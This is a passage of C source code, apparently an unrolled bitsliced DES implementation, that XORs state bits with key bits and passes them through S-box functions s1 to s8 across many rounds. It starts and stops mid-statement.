&out81,&out82,&out83,&out84); l7 = l7 ^ out81; l13 = l13 ^ out82; l24 = l24 ^ out83; l2 = l2 ^ out84; unsigned long t127 = r19 ^ k35; unsigned long t128 = r20 ^ k50; unsigned long t129 = r21 ^ k45; unsigned long t130 = r22 ^ k30; unsigned long t131 = r23 ^ k1; unsigned long t132 = r24 ^ k51; unsigned long out85; unsigned long out86; unsigned long out87; unsigned long out88; s6(t127,t128,t129,t130,t131,t132, &out85,&out86,&out87,&out88); l3 = l3 ^ out85; l28 = l28 ^ out86; l10 = l10 ^ out87; l18 = l18 ^ out88; unsigned long t133 = r23 ^ k23; unsigned long t134 = r24 ^ k31; unsigned long t135 = r25 ^ k43; unsigned long t136 = r26 ^ k21; unsigned long t137 = r27 ^ k8; unsigned long t138 = r28 ^ k0; unsigned long out89; unsigned long out90; unsigned long out91; unsigned long out92; s7(t133,t134,t135,t136,t137,t138, &out89,&out90,&out91,&out92); l31 = l31 ^ out89; l11 = l11 ^ out90; l21 = l21 ^ out91; l6 = l6 ^ out92; unsigned long t139 = r27 ^ k37; unsigned long t140 = r28 ^ k9; unsigned long t141 = r29 ^ k38; unsigned long t142 = r30 ^ k22; unsigned long t143 = r31 ^ k28; unsigned long t144 = r0 ^ k49; unsigned long out93; unsigned long out94; unsigned long out95; unsigned long out96; s8(t139,t140,t141,t142,t143,t144, &out93,&out94,&out95,&out96); l4 = l4 ^ out93; l26 = l26 ^ out94; l14 = l14 ^ out95; l20 = l20 ^ out96; unsigned long t145 = l31 ^ k25; unsigned long t146 = l0 ^ k46; unsigned long t147 = l1 ^ k4; unsigned long t148 = l2 ^ k13; unsigned long t149 = l3 ^ k48; unsigned long t150 = l4 ^ k19; unsigned long out97; unsigned long out98; unsigned long out99; unsigned long out100; s1(t145,t146,t147,t148,t149,t150, &out97,&out98,&out99,&out100); r8 = r8 ^ out97; r16 = r16 ^ out98; r22 = r22 ^ out99; r30 = r30 ^ out100; unsigned long t151 = l3 ^ k5; unsigned long t152 = l4 ^ k41; unsigned long t153 = l5 ^ k32; unsigned long t154 = l6 ^ k26; unsigned long t155 = l7 ^ k17; unsigned long t156 = l8 ^ k54; unsigned long out101; unsigned long out102; unsigned long out103; unsigned long out104; s2(t151,t152,t153,t154,t155,t156, &out101,&out102,&out103,&out104); r12 = r12 ^ out101; r27 = r27 ^ out102; r1 = r1 ^ out103; r17 = r17 ^ out104; unsigned long t157 = l7 ^ k6; unsigned long t158 = l8 ^ k3; unsigned long t159 = l9 ^ k11; unsigned long t160 = l10 ^ k12; unsigned long t161 = l11 ^ k27; unsigned long t162 = l12 ^ k40; unsigned long out105; unsigned long out106; unsigned long out107; unsigned long out108; s3(t157,t158,t159,t160,t161,t162, &out105,&out106,&out107,&out108); r23 = r23 ^ out105; r15 = r15 ^ out106; r29 = r29 ^ out107; r5 = r5 ^ out108; unsigned long t163 = l11 ^ k39; unsigned long t164 = l12 ^ k33; unsigned long t165 = l13 ^ k34; unsigned long t166 = l14 ^ k10; unsigned long t167 = l15 ^ k18; unsigned long t168 = l16 ^ k55; unsigned long out109; unsigned long out110; unsigned long out111; unsigned long out112; s4(t163,t164,t165,t166,t167,t168, &out109,&out110,&out111,&out112); r25 = r25 ^ out109; r19 = r19 ^ out110; r9 = r9 ^ out111; r0 = r0 ^ out112; unsigned long t169 = l15 ^ k16; unsigned long t170 = l16 ^ k7; unsigned long t171 = l17 ^ k1; unsigned long t172 = l18 ^ k43; unsigned long t173 = l19 ^ k31; unsigned long t174 = l20 ^ k28; unsigned long out113; unsigned long out114; unsigned long out115; unsigned long out116; s5(t169,t170,t171,t172,t173,t174, &out113,&out114,&out115,&out116); r7 = r7 ^ out113; r13 = r13 ^ out114; r24 = r24 ^ out115; r2 = r2 ^ out116; unsigned long t175 = l19 ^ k49; unsigned long t176 = l20 ^ k9; unsigned long t177 = l21 ^ k0; unsigned long t178 = l22 ^ k44; unsigned long t179 = l23 ^ k15; unsigned long t180 = l24 ^ k38; unsigned long out117; unsigned long out118; unsigned long out119; unsigned long out120; s6(t175,t176,t177,t178,t179,t180, &out117,&out118,&out119,&out120); r3 = r3 ^ out117; r28 = r28 ^ out118; r10 = r10 ^ out119; r18 = r18 ^ out120; unsigned long t181 = l23 ^ k37; unsigned long t182 = l24 ^ k45; unsigned long t183 = l25 ^ k2; unsigned long t184 = l26 ^ k35; unsigned long t185 = l27 ^ k22; unsigned long t186 = l28 ^ k14; unsigned long out121; unsigned long out122; unsigned long out123; unsigned long out124; s7(t181,t182,t183,t184,t185,t186, &out121,&out122,&out123,&out124); r31 = r31 ^ out121; r11 = r11 ^ out122; r21 = r21 ^ out123; r6 = r6 ^ out124; unsigned long t187 = l27 ^ k51; unsigned long t188 = l28 ^ k23; unsigned long t189 = l29 ^ k52; unsigned long t190 = l30 ^ k36; unsigned long t191 = l31 ^ k42; unsigned long t192 = l0 ^ k8; unsigned long out125; unsigned long out126; unsigned long out127; unsigned long out128; s8(t187,t188,t189,t190,t191,t192, &out125,&out126,&out127,&out128); r4 = r4 ^ out125; r26 = r26 ^ out126; r14 = r14 ^ out127; r20 = r20 ^ out128; unsigned long t193 = r31 ^ k39; unsigned long t194 = r0 ^ k3; unsigned long t195 = r1 ^ k18; unsigned long t196 = r2 ^ k27; unsigned long t197 = r3 ^ k5; unsigned long t198 = r4 ^ k33; unsigned long out129; unsigned long out130; unsigned long out131; unsigned long out132; s1(t193,t194,t195,t196,t197,t198, &out129,&out130,&out131,&out132); l8 = l8 ^ out129; l16 = l16 ^ out130; l22 = l22 ^ out131; l30 = l30 ^ out132; unsigned long t199 = r3 ^ k19; unsigned long t200 = r4 ^ k55; unsigned long t201 = r5 ^ k46; unsigned long t202 = r6 ^ k40; unsigned long t203 = r7 ^ k6; unsigned long t204 = r8 ^ k11; unsigned long out133; unsigned long out134; unsigned long out135; unsigned long out136; s2(t199,t200,t201,t202,t203,t204, &out133,&out134,&out135,&out136); l12 = l12 ^ out133; l27 = l27 ^ out134; l1 = l1 ^ out135; l17 = l17 ^ out136; unsigned long t205 = r7 ^ k20; unsigned long t206 = r8 ^ k17; unsigned long t207 = r9 ^ k25; unsigned long t208 = r10 ^ k26; unsigned long t209 = r11 ^ k41; unsigned long t210 = r12 ^ k54; unsigned long out137; unsigned long out138; unsigned long out139; unsigned long out140; s3(t205,t206,t207,t208,t209,t210, &out137,&out138,&out139,&out140); l23 = l23 ^ out137; l15 = l15 ^ out138; l29 = l29 ^ out139; l5 = l5 ^ out140; unsigned long t211 = r11 ^ k53; unsigned long t212 = r12 ^ k47; unsigned long t213 = r13 ^ k48; unsigned long t214 = r14 ^ k24; unsigned long t215 = r15 ^ k32; unsigned long t216 = r16 ^ k12; unsigned long out141; unsigned long out142; unsigned long out143; unsigned long out144; s4(t211,t212,t213,t214,t215,t216, &out141,&out142,&out143,&out144); l25 = l25 ^ out141; l19 = l19 ^ out142; l9 = l9 ^ out143; l0 = l0 ^ out144; unsigned long t217 = r15 ^ k30; unsigned long t218 = r16 ^ k21; unsigned long t219 = r17 ^ k15; unsigned long t220 = r18 ^ k2; unsigned long t221 = r19 ^ k45; unsigned long t222 = r20 ^ k42; unsigned long out145; unsigned long out146; unsigned long out147; unsigned long out148; s5(t217,t218,t219,t220,t221,t222, &out145,&out146,&out147,&out148); l7 = l7 ^ out145; l13 = l13 ^ out146; l24 = l24 ^ out147; l2 = l2 ^ out148; unsigned long t223 = r19 ^ k8; unsigned long t224 = r20 ^ k23; unsigned long t225 = r21 ^ k14; unsigned long t226 = r22 ^ k31; unsigned long t227 = r23 ^ k29; unsigned long t228 = r24 ^ k52; unsigned long out149; unsigned long out150; unsigned long out151; unsigned long out152; s6(t223,t224,t225,t226,t227,t228, &out149,&out150,&out151,&out152); l3 = l3 ^ out149; l28 = l28 ^ out150; l10 = l10 ^ out151; l18 = l18 ^ out152; unsigned long t229 = r23 ^ k51; unsigned long t230 = r24 ^ k0; unsigned long t231 = r25 ^ k16; unsigned long t232 = r26 ^ k49; unsigned long t233 = r27 ^ k36; unsigned long t234 = r28 ^ k28; unsigned long out153; unsigned long out154; unsigned long out155; unsigned long out156; s7(t229,t230,t231,t232,t233,t234, &out153,&out154,&out155,&out156); l31 = l31 ^ out153; l11 = l11 ^ out154; l21 = l21 ^ out155; l6 = l6 ^ out156; unsigned long t235 = r27 ^ k38; unsigned long t236 = r28 ^ k37; unsigned long t237 = r29 ^ k7; unsigned long t238 = r30 ^ k50; unsigned long t239 = r31 ^ k1; unsigned long t240 = r0 ^ k22; unsigned long out157; unsigned long out158; unsigned long out159; unsigned long out160; s8(t235,t236,t237,t238,t239,t240, &out157,&out158,&out159,&out160); l4 = l4 ^ out157; l26 = l26 ^ out158; l14 = l14 ^ out159; l20 = l20 ^ out160; unsigned long t241 = l31 ^ k53; unsigned long t242 = l0 ^ k17; unsigned long t243 = l1 ^ k32; unsigned long t244 = l2 ^ k41; unsigned long t245 = l3 ^ k19; unsigned long t246 = l4 ^ k47; unsigned long out161; unsigned long out162; unsigned long out163; unsigned long out164; s1(t241,t242,t243,t244,t245,t246, &out161,&out162,&out163,&out164); r8 = r8 ^ out161; r16 = r16 ^ out162; r22 = r22 ^ out163; r30 = r30 ^ out164; unsigned long t247 = l3 ^ k33; unsigned long t248 = l4 ^ k12; unsigned long t249 = l5 ^ k3; unsigned long t250 = l6 ^ k54; unsigned long t251 = l7 ^ k20; unsigned long t252 = l8 ^ k25; unsigned long out165; unsigned long out166; unsigned long out167; unsigned long out168; s2(t247,t248,t249,t250,t251,t252, &out165,&out166,&out167,&out168); r12 = r12 ^ out165; r27 = r27 ^ out166; r1 = r1 ^ out167; r17 = r17 ^ out168; unsigned long t253 = l7 ^ k34; unsigned long t254 = l8 ^ k6; unsigned long t255 = l9 ^ k39; unsigned long t256 = l10 ^ k40; unsigned long t257 = l11 ^ k55; unsigned long t258 = l12 ^ k11; unsigned long out169; unsigned long out170; unsigned long out171; unsigned long out172; s3(t253,t254,t255,t256,t257,t258, &out169,&out170,&out171,&out172); r23 = r23 ^ out169; r15 = r15 ^ out170; r29 = r29 ^ out171; r5 = r5 ^ out172; unsigned long t259 = l11 ^ k10; unsigned long t260 = l12 ^ k4; unsigned long t261 = l13 ^ k5; unsigned long t262 = l14 ^ k13; unsigned long t263 = l15 ^ k46; unsigned long t264 = l16 ^ k26; unsigned long out173; unsigned long out174; unsigned long out175; unsigned long out176; s4(t259,t260,t261,t262,t263,t264, &out173,&out174,&out175,&out176); r25 = r25 ^ out173; r19 = r19 ^ out174; r9 = r9 ^ out175; r0 = r0 ^ out176; unsigned long t265 = l15 ^ k44; unsigned long t266 = l16 ^ k35; unsigned long t267 = l17 ^ k29; unsigned long t268 = l18 ^ k16; unsigned long t269 = l19 ^ k0; unsigned long t270 = l20 ^ k1; unsigned long out177; unsigned long out178; unsigned long out179; unsigned long out180; s5(t265,t266,t267,t268,t269,t270, &out177,&out178,&out179,&out180); r7 = r7 ^ out177; r13 = r13 ^ out178; r24 = r24 ^ out179; r2 = r2 ^ out180; unsigned long t271 = l19 ^ k22; unsigned long t272 = l20 ^ k37; unsigned long t273 = l21 ^ k28; unsigned long t274 = l22 ^ k45; unsigned long t275 = l23 ^ k43; unsigned long t276 = l24 ^ k7; unsigned long out181; unsigned long out182; unsigned long out183; unsigned long out184; s6(t271,t272,t273,t274,t275,t276, &out181,&out182,&out183,&out184); r3 = r3 ^ out181; r28 = r28 ^ out182; r10 = r10 ^ out183; r18 = r18 ^ out184; unsigned long t277 = l23 ^ k38; unsigned long t278 = l24 ^ k14; unsigned long t279 = l25 ^ k30; unsigned long t280 = l26 ^ k8; unsigned long t281 = l27 ^ k50; unsigned long t282 = l28 ^ k42; unsigned long out185; unsigned long out186; unsigned long out187; unsigned long out188; s7(t277,t278,t279,t280,t281,t282, &out185,&out186,&out187,&out188); r31 = r31 ^ out185; r11 = r11 ^ out186; r21 = r21 ^ out187; r6 = r6 ^ out188; unsigned long t283 = l27 ^ k52; unsigned long t284 = l28 ^ k51; unsigned long t285 = l29 ^ k21; unsigned long t286 = l30 ^ k9; unsigned long t287 = l31 ^ k15; unsigned long t288 = l0 ^ k36; unsigned long out189; unsigned long out190; unsigned long out191; unsigned long out192; s8(t283,t284,t285,t286,t287,t288, &out189,&out190,&out191,&out192); r4 = r4 ^ out189; r26 = r26 ^ out190; r14 = r14 ^ out191; r20 = r20 ^ out192; unsigned long t289 = r31 ^ k10; unsigned long t290 = r0 ^ k6; unsigned long t291 = r1 ^ k46; unsigned long t292 = r2 ^ k55; unsigned long t293 = r3 ^ k33; unsigned long t294 = r4 ^ k4; unsigned long out193; unsigned long out194; unsigned long out195; unsigned long out196; s1(t289,t290,t291,t292,t293,t294, &out193,&out194,&out195,&out196); l8 = l8 ^ out193; l16 = l16 ^ out194; l22 = l22 ^ out195; l30 = l30 ^ out196; unsigned long t295 = r3 ^ k47; unsigned long t296 = r4 ^ k26; unsigned long t297 = r5 ^ k17; unsigned long t298 = r6 ^ k11; unsigned long t299 = r7 ^ k34; unsigned long t300 = r8 ^ k39; unsigned long out197; unsigned long out198; unsigned long out199; unsigned long out200; s2(t295,t296,t297,t298,t299,t300, &out197,&out198,&out199,&out200); l12 = l12 ^ out197; l27 = l27 ^ out198; l1 = l1 ^ out199; l17 = l17 ^ out200; unsigned long t301 = r7 ^ k48; unsigned long t302 = r8 ^ k20; unsigned long t303 = r9 ^ k53; unsigned long t304 = r10 ^ k54; unsigned long t305 = r11 ^ k12; unsigned long t306 = r12 ^ k25; unsigned long out201; unsigned long out202; unsigned long out203; unsigned long out204; s3(t301,t302,t303,t304,t305,t306, &out201,&out202,&out203,&out204); l23 = l23 ^ out201; l15 = l15 ^ out202; l29 = l29 ^ out203; l5 = l5 ^ out204; unsigned long t307 = r11 ^ k24; unsigned long t308 = r12 ^ k18; unsigned long t309 = r13 ^ k19; unsigned long t310 = r14 ^ k27; unsigned long t311 = r15 ^ k3; unsigned long t312 = r16 ^ k40; unsigned long out205; unsigned long out206; unsigned long out207; unsigned long out208; s4(t307,t308,t309,t310,t311,t312, &out205,&out206,&out207,&out208); l25 = l25 ^ out205; l19 = l19 ^ out206; l9 = l9 ^ out207; l0 = l0 ^ out208; unsigned long t313 = r15 ^ k31; unsigned long t314 = r16 ^ k49; unsigned long t315 = r17 ^ k43; unsigned long t316 = r18 ^ k30; unsigned long t317 = r19 ^ k14; unsigned long t318 = r20 ^ k15; unsigned long out209; unsigned long out210; unsigned long out211; unsigned long out212; s5(t313,t314,t315,t316,t317,t318, &out209,&out210,&out211,&out212); l7 = l7 ^ out209; l13 = l13 ^ out210; l24 = l24 ^ out211; l2 = l2 ^ out212; unsigned long t319 = r19 ^ k36; unsigned long t320 = r20 ^ k51; unsigned long t321 = r21 ^ k42; unsigned long t322 = r22 ^ k0; unsigned long t323 = r23 ^ k2; unsigned long t324 = r24 ^ k21; unsigned long out213; unsigned long out214; unsigned long out215; unsigned long out216; s6(t319,t320,t321,t322,t323,t324, &out213,&out214,&out215,&out216); l3 = l3 ^ out213; l28 = l28 ^ out214; l10 = l10 ^ out215; l18 = l18 ^ out216; unsigned long t325 = r23 ^ k52; unsigned long t326 = r24 ^ k28; unsigned long t327 = r25 ^ k44; unsigned long t328 = r26 ^ k22; unsigned long t329 = r27 ^ k9; unsigned long t330 = r28 ^ k1; unsigned long out217; unsigned long out218; unsigned long out219; unsigned long out220; s7(t325,t326,t327,t328,t329,t330, &out217,&out218,&out219,&out220); l31 = l31 ^ out217; l11 = l11 ^ out218; l21 = l21 ^ out219; l6 = l6 ^ out220; unsigned long t331 = r27 ^ k7; unsigned long t332 = r28 ^ k38; unsigned long t333 = r29 ^ k35; unsigned long t334 = r30 ^ k23; unsigned long t335 = r31 ^ k29; unsigned long t336 = r0 ^ k50; unsigned long out221; unsigned long out222; unsigned long out223; unsigned long out224; s8(t331,t332,t333,t334,t335,t336, &out221,&out222,&out223,&out224); l4 = l4 ^ out221; l26 = l26 ^ out222; l14 = l14 ^ out223; l20 = l20 ^ out224; unsigned long t337 = l31 ^ k24; unsigned long t338 = l0 ^ k20; unsigned long t339 = l1 ^ k3; unsigned long t340 = l2 ^ k12; unsigned long t341 = l3 ^ k47; unsigned long t342 = l4 ^ k18; unsigned long out225; unsigned long out226; unsigned long out227; unsigned long out228; s1(t337,t338,t339,t340,t341,t342, &out225,&out226,&out227,&out228); r8 = r8 ^ out225; r16 = r16 ^ out226; r22 = r22 ^ out227; r30 = r30 ^ out228; unsigned long t343 = l3 ^ k4; unsigned long t344 = l4 ^ k40; unsigned long t345 = l5 ^ k6; unsigned long t346 = l6 ^ k25; unsigned long t347 = l7 ^ k48; unsigned long t348 = l8 ^ k53; unsigned long out229; unsigned long out230; unsigned long out231; unsigned long out232; s2(t343,t344,t345,t346,t347,t348, &out229,&out230,&out231,&out232); r12 = r12 ^ out229; r27 = r27 ^ out230; r1 = r1 ^ out231; r17 = r17 ^ out232; unsigned long t349 = l7 ^ k5; unsigned long t350 = l8 ^ k34; unsigned long t351 = l9 ^ k10; unsigned long t352 = l10 ^ k11; unsigned long t353 = l11 ^ k26; unsigned long t354 = l12 ^ k39; unsigned long out233; unsigned long out234; unsigned long out235; unsigned long out236; s3(t349,t350,t351,t352,t353,t354, &out233,&out234,&out235,&out236); r23 = r23 ^ out233; r15 = r15 ^ out234; r29 = r29 ^ out235; r5 = r5 ^ out236; unsigned long t355 = l11 ^ k13; unsigned long t356 = l12 ^ k32; unsigned long t357 = l13 ^ k33; unsigned long t358 = l14 ^ k41; unsigned long t359 = l15 ^ k17; unsigned long t360 = l16 ^ k54; unsigned long out237; unsigned long out238; unsigned long out239; unsigned long out240; s4(t355,t356,t357,t358,t359,t360, &out237,&out238,&out239,&out240); r25 = r25 ^ out237; r19 = r19 ^ out238; r9 = r9 ^ out239; r0 = r0 ^ out240; unsigned long t361 = l15 ^ k45; unsigned long t362 = l16 ^ k8; unsigned long t363 = l17 ^ k2; unsigned long t364 = l18 ^ k44; unsigned long t365 = l19 ^ k28; unsigned long t366 = l20 ^ k29; unsigned long out241; unsigned long out242; unsigned long out243; unsigned long out244; s5(t361,t362,t363,t364,t365,t366, &out241,&out242,&out243,&out244); r7 = r7 ^ out241; r13 = r13 ^ out242; r24 = r24 ^ out243; r2 = r2 ^ out244; unsigned long t367 = l19 ^ k50; unsigned long t368 = l20 ^ k38; unsigned long t369 = l21 ^ k1; unsigned long t370 = l22 ^ k14; unsigned long t371 = l23 ^ k16; unsigned long t372 = l24 ^ k35; unsigned long out245; unsigned long out246; unsigned long out247; unsigned long out248; s6(t367,t368,t369,t370,t371,t372, &out245,&out246,&out247,&out248); r3 = r3 ^ out245; r28 = r28 ^ out246; r10 = r10 ^ out247; r18 = r18 ^ out248; unsigned long t373 = l23 ^ k7; unsigned long t374 = l24 ^ k42; unsigned long t375 = l25 ^ k31; unsigned long t376 = l26 ^ k36; unsigned long t377 = l27 ^ k23; unsigned long t378 = l28 ^ k15; unsigned long out249; unsigned long out250; unsigned long out251; unsigned long out252; s7(t373,t374,t375,t376,t377,t378, &out249,&out250,&out251,&out252); r31 = r31 ^ out249; r11 = r11 ^ out250; r21 = r21 ^ out251; r6 = r6 ^ out252; unsigned long t379 = l27 ^ k21; unsigned long t380 = l28 ^ k52; unsigned long t381 = l29 ^ k49; unsigned long t382 = l30 ^ k37; unsigned long t383 = l31 ^ k43; unsigned long t384 = l0 ^ k9; unsigned long out253; unsigned long out254; unsigned long out255; unsigned long out256; s8(t379,t380,t381,t382,t383,t384, &out253,&out254,&out255,&out256); r4 = r4 ^ out253; r26 = r26 ^ out254; r14 = r14 ^ out255; r20 = r20 ^ out256; unsigned long t385 = r31 ^ k6; unsigned long t386 = r0 ^ k27; unsigned long t387 = r1 ^ k10; unsigned long t388 = r2 ^ k19; unsigned long t389 = r3 ^ k54; unsigned long t390 = r4 ^ k25; unsigned long out257; unsigned long out258; unsigned long out259; unsigned long out260; s1(t385,t386,t387,t388,t389,t390, &out257,&out258,&out259,&out260); l8 = l8 ^ out257; l16 = l16 ^ out258; l22 = l22 ^ out259; l30 = l30 ^ out260; unsigned long t391 = r3 ^ k11; unsigned long t392 = r4 ^ k47; unsigned long t393 = r5 ^ k13; unsigned long t394 = r6 ^ k32; unsigned long t395 = r7 ^ k55; unsigned long t396 = r8 ^ k3; unsigned long out261; unsigned long out262; unsigned long out263; unsigned long out264; s2(t391,t392,t393,t394,t395,t396, &out261,&out262,&out263,&out264); l12 = l12 ^ out261; l27 = l27 ^ out262; l1 = l1 ^ out263; l17 = l17 ^ out264; unsigned long t397 = r7 ^ k12; unsigned long t398 = r8 ^ k41; unsigned long t399 = r9 ^ k17; unsigned long t400 = r10 ^ k18; unsigned long t401 = r11 ^ k33; unsigned long t402 = r12 ^ k46; unsigned long out265; unsigned long out266; unsigned long out267; unsigned long out268; s3(t397,t398,t399,t400,t401,t402, &out265,&out266,&out267,&out268); l23 = l23 ^ out265; l15 = l15 ^ out266; l29 = l29 ^ out267; l5 = l5 ^ out268; unsigned long t403 = r11 ^ k20; unsigned long t404 = r12 ^ k39; unsigned long t405 = r13 ^ k40; unsigned long t406 = r14 ^ k48; unsigned long t407 = r15 ^ k24; unsigned long t408 = r16 ^ k4; unsigned long out269; unsigned long out270; unsigned long out271; unsigned long out272; s4(t403,t404,t405,t406,t407,t408, &out269,&out270,&out271,&out272); l25 = l25 ^ out269; l19 = l19 ^ out270; l9 = l9 ^ out271; l0 = l0 ^ out272; unsigned long t409 = r15 ^ k52; unsigned long t410 = r16 ^ k15; unsigned long t411 = r17 ^ k9; unsigned long t412 = r18 ^ k51; unsigned long t413 = r19 ^ k35; unsigned long t414 = r20 ^ k36; unsigned long out273; unsigned long out274; unsigned long out275; unsigned long out276; s5(t409,t410,t411,t412,t413,t414, &out273,&out274,&out275,&out276); l7 = l7 ^ out273; l13 = l13 ^ out274; l24 = l24 ^ out275; l2 = l2 ^ out276; unsigned long t415 = r19 ^ k2; unsigned long t416 = r20 ^ k45; unsigned long t417 = r21 ^ k8; unsigned long t418 = r22 ^ k21; unsigned long t419 = r23 ^ k23; unsigned long t420 = r24 ^ k42; unsigned long out277; unsigned long out278; unsigned long out279; unsigned long out280; s6(t415,t416,t417,t418,t419,t420, &out277,&out278,&out279,&out280); l3 = l3 ^ out277; l28 = l28 ^ out278; l10 = l10 ^ out279; l18 = l18 ^ out280; unsigned long t421 = r23 ^ k14; unsigned long t422 = r24 ^ k49; unsigned long t423 = r25 ^ k38; unsigned long t424 = r26 ^ k43; unsigned long t425 = r27 ^ k30; unsigned long t426 = r28 ^ k22; unsigned long out281; unsigned long out282; unsigned long out283; unsigned long out284; s7(t421,t422,t423,t424,t425,t426, &out281,&out282,&out283,&out284); l31 = l31 ^ out281; l11 = l11 ^ out282; l21 = l21 ^ out283; l6 = l6 ^ out284; unsigned long t427 = r27 ^ k28; unsigned long t428 = r28 ^ k0; unsigned long t429 = r29 ^ k1; unsigned long t430 = r30 ^ k44; unsigned long t431 = r31 ^ k50; unsigned long t432 = r0 ^ k16; unsigned long out285; unsigned long out286; unsigned long out287; unsigned long out288; s8(t427,t428,t429,t430,t431,t432, &out285,&out286,&out287,&out288); l4 = l4 ^ out285; l26 = l26 ^ out286; l14 = l14 ^ out287; l20 = l20 ^ out288; unsigned long t433 = l31 ^ k20; unsigned long t434 = l0 ^ k41; unsigned long t435 = l1 ^ k24; unsigned long t436 = l2 ^ k33; unsigned long t437 = l3 ^ k11; unsigned long t438 = l4 ^ k39; unsigned long out289; unsigned long out290; unsigned long out291; unsigned long out292; s1(t433,t434,t435,t436,t437,t438, &out289,&out290,&out291,&out292); r8 = r8 ^ out289; r16 = r16 ^ out290; r22 = r22 ^ out291; r30 = r30 ^ out292; unsigned long t439 = l3 ^ k25; unsigned long t440 = l4 ^ k4; unsigned long t441 = l5 ^ k27; unsigned long t442 = l6 ^ k46; unsigned long t443 = l7 ^ k12; unsigned long t444 = l8 ^ k17; unsigned long out293; unsigned long out294; unsigned long out295; unsigned long out296; s2(t439,t440,t441,t442,t443,t444, &out293,&out294,&out295,&out296); r12 = r12 ^ out293; r27 = r27 ^ out294; r1 = r1 ^ out295; r17 = r17 ^ out296; unsigned long t445 = l7 ^ k26; unsigned long t446 = l8 ^ k55; unsigned long t447 = l9 ^ k6; unsigned long t448 = l10 ^ k32; unsigned long t449 = l11 ^ k47; unsigned long t450 = l12 ^ k3; unsigned long out297; unsigned long out298; unsigned long out299; unsigned long out300; s3(t445,t446,t447,t448,t449,t450, &out297,&out298,&out299,&out300); r23 = r23 ^ out297; r15 = r15 ^ out298; r29 = r29 ^ out299; r5 = r5 ^ out300; unsigned long t451 = l11 ^ k34; unsigned long t452 = l12 ^ k53; unsigned long t453 = l13 ^ k54; unsigned long t454 = l14 ^ k5; unsigned long t455 = l15 ^ k13; unsigned long t456 = l16 ^ k18; unsigned long out301; unsigned long out302; unsigned long out303; unsigned long out304; s4(t451,t452,t453,t454,t455,t456, &out301,&out302,&out303,&out304); r25 = r25 ^ out301; r19 = r19 ^ out302; r9 = r9 ^ out303; r0 = r0 ^ out304; unsigned long t457 = l15 ^ k7; unsigned long t458 = l16 ^ k29; unsigned long t459 = l17 ^ k23; unsigned long t460 = l18 ^ k38; unsigned long t461 = l19 ^ k49; unsigned long t462 = l20 ^ k50; unsigned long out305; unsigned long out306; unsigned long out307; unsigned long out308; s5(t457,t458,t459,t460,t461,t462, &out305,&out306,&out307,&out308); r7 = r7 ^ out305; r13 = r13 ^ out306; r24 = r24 ^ out307; r2 = r2 ^ out308; unsigned long t463 = l19 ^ k16; unsigned long t464 = l20 ^ k0; unsigned long t465 = l21 ^ k22; unsigned long t466 = l22 ^ k35; unsigned long t467 = l23 ^ k37; unsigned long t468 = l24 ^ k1; unsigned long out309; unsigned long out310; unsigned long out311; unsigned long out312; s6(t463,t464,t465,t466,t467,t468, &out309,&out310,&out311,&out312); r3 = r3 ^ out309; r28 = r28 ^ out310; r10 = r10 ^ out311; r18 = r18 ^ out312; unsigned long t469 = l23 ^ k28; unsigned long t470 = l24 ^ k8; unsigned long t471 = l25 ^ k52; unsigned long t472 = l26 ^ k2; unsigned long t473 = l27 ^ k44; unsigned long t474 = l28 ^ k36; unsigned long out313; unsigned long out314; unsigned long out315; unsigned long out316; s7(t469,t470,t471,t472,t473,t474, &out313,&out314,&out315,&out316); r31 = r31 ^ out313; r11 = r11 ^ out314; r21 = r21 ^ out315; r6 = r6 ^ out316; unsigned long t475 = l27 ^ k42; unsigned long t476 = l28 ^ k14; unsigned long t477 = l29 ^ k15; unsigned long t478 = l30 ^ k31; unsigned long t479 = l31 ^ k9; unsigned long t480 = l0 ^ k30; unsigned long out317; unsigned long out318; unsigned long out319; unsigned long out320; s8(t475,t476,t477,t478,t479,t480, &out317,&out318,&out319,&out320); r4 = r4 ^ out317; r26 = r26 ^ out318; r14 = r14 ^ out319; r20 = r20 ^ out320; unsigned long t481 = r31 ^ k34; unsigned long t482 = r0 ^ k55; unsigned long t483 = r1 ^ k13; unsigned long t484 = r2 ^ k47; unsigned long t485 = r3 ^ k25; unsigned long t486 = r4 ^ k53; unsigned long out321; unsigned long out322; unsigned long out323; unsigned long out324; s1(t481,t482,t483,t484,t485,t486, &out321,&out322,&out323,&out324); l8 = l8 ^ out321; l16 = l16 ^ out322; l22 = l22 ^ out323; l30 = l30 ^ out324; unsigned long t487 = r3 ^ k39; unsigned long t488 = r4 ^ k18; unsigned long t489 = r5 ^ k41; unsigned long t490 = r6 ^ k3; unsigned long t491 = r7 ^ k26; unsigned long t492 = r8 ^ k6; unsigned long out325; unsigned long out326; unsigned long out327; unsigned long out328; s2(t487,t488,t489,t490,t491,t492, &out325,&out326,&out327,&out328); l12 = l12 ^ out325; l27 = l27 ^ out326; l1 = l1 ^ out327; l17 = l17 ^ out328; unsigned long t493 = r7 ^ k40; unsigned long t494 = r8 ^ k12; unsigned long t495 = r9 ^ k20; unsigned long t496 = r10 ^ k46; unsigned long t497 = r11 ^ k4; unsigned long t498 = r12 ^ k17; unsigned long out329; unsigned long out330; unsigned long out331; unsigned long out332; s3(t493,t494,t495,t496,t497,t498, &out329,&out330,&out331,&out332); l23 = l23 ^ out329; l15 = l15 ^ out330; l29 = l29 ^ out331; l5 = l5 ^ out332; unsigned long t499 = r11 ^ k48; unsigned long t500 = r12 ^ k10; unsigned long t501 = r13 ^ k11; unsigned long t502 = r14 ^ k19; unsigned long t503 = r15 ^ k27; unsigned long t504 = r16 ^ k32; unsigned long out333; unsigned long out334; unsigned long out335; unsigned long out336; s4(t499,t500,t501,t502,t503,t504, &out333,&out334,&out335,&out336); l25 = l25 ^ out333; l19 = l19 ^ out334; l9 = l9 ^ out335; l0 = l0 ^ out336; unsigned long t505 = r15 ^ k21; unsigned long t506 = r16 ^ k43; unsigned long t507 = r17 ^ k37; unsigned long t508 = r18 ^ k52; unsigned long t509 = r19 ^ k8; unsigned long t510 = r20 ^ k9; unsigned long out337; unsigned long out338; unsigned long out339; unsigned long out340; s5(t505,t506,t507,t508,t509,t510, &out337,&out338,&out339,&out340); l7 = l7 ^ out337; l13 = l13 ^ out338; l24 = l24 ^ out339; l2 = l2 ^ out340; unsigned long t511 = r19 ^ k30; unsigned long t512 = r20 ^ k14; unsigned long t513 = r21 ^ k36; unsigned long t514 = r22 ^ k49; unsigned long t515 = r23 ^ k51; unsigned long t516 = r24 ^ k15; unsigned long out341; unsigned long out342; unsigned long out343; unsigned long out344; s6(t511,t512,t513,t514,t515,t516, &out341,&out342,&out343,&out344); l3 = l3 ^ out341; l28 = l28 ^ out342; l10 = l10 ^ out343; l18 = l18 ^ out344; unsigned long t517 = r23 ^ k42; unsigned long t518 = r24 ^ k22; unsigned long t519 = 